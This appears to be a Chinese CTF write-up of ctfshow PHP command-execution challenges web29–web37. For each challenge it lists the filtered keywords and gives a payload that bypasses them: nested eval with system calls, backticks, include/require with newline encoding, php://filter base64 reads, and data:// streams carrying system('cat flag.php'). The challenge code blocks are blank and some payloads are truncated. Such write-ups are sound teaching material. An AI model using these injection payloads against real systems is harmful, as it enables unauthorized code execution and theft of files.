ctfshow命令执行
ctfshow命令执行
NgkcvsCCctfshow命令执行
题目(ctfshow)
1.web29(VIP)
1 |
|
过滤了 flag 关键字
知识点
eval函数可以理解为代码执行 动态执行php代码
system函数可以理解为命令执行 执行shell命令
php最后一个语句可以没有分号
- eval(phpinfo()) 无输出结果
- eval(phpinfo();)有输出结果
- eval(phpinfo()?>) 有输出结果
file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个
payload:
1 | ?c=phpinfo(); |
2.web30 (VIP)
1 |
|
php、flag、system 关键字都被过滤了,system 用不了了,可以考虑使用反引号 `` 执行系统命令
payload:
1 | ?c=`cp f* 1.txt`; |
3.web31 (VIP)
1 |
|
flag、system、php、cat、sort、shell 、. 都被过滤了,可以使用嵌套一个eval来解决。
1
2
3 >?c=eval($_GET[123]);&123=phpinfo();
?c=eval($_GET[123]);&123=system('ls');
>?c=eval($_GET[123]);&123=system('tac flag');
4.web32 (VIP)
1 |
|
知识点: include可以读取非php文件内容输出直接输出到页面,当使用
include包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器
这次发现 空格单引号反引号 还有括号都给禁用了 ,使用 include 读取文件内容输出直接输出到页面,%0A 是url编码中的 换行
过滤器获取到php文件的内容后生成了base64编码后的字符串,include包含进来无法判定是php代码,所以直接进行输出,然后进行解码即可
1 ?c=include%0a$_GET[123]&123=php://filter/convert.base64-encode/resource=flag
5.web33(VIP)
1 |
|
多加了一个双引号 ,无影响,使用 include 方法同样有效
1 | ?c=include%0a$_GET[123]&123=php://filter/read=convert.base64-encode/resource=flag |
6.web34(VIP)
1 |
|
这次新增了过滤 冒号 ,可使用 include ,也可使用 require 他和include效果一样,都是用于文件包含
1 | ?c=require%0a$_GET[123]&123=php://filter/convert.base64-encode/resource=flag |
7.web35.php(VIP)
1 |
|
又新增了 过滤了 < 和 =,依旧可使用:require 、include
1 | ?c=require%0a$_GET[123]&123=php://filter/convert.base64-encode/resource=flag |
8.web36.php(VIP)
1 |
|
过滤了1-9
第一种方法
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag
第二种方法
data://text/plain 是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中
?c=include%0a$_GET[1]?>&1=data://text/plain,
9.web37.php(VIP)
1 |
|
参数 c 包含一个文件 $c的值不能是 flag
payload:
?c=data://text/plain,
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data将数据传给变量c ,include包含后,数据流进行解密,然后执行代码
参考地址:






















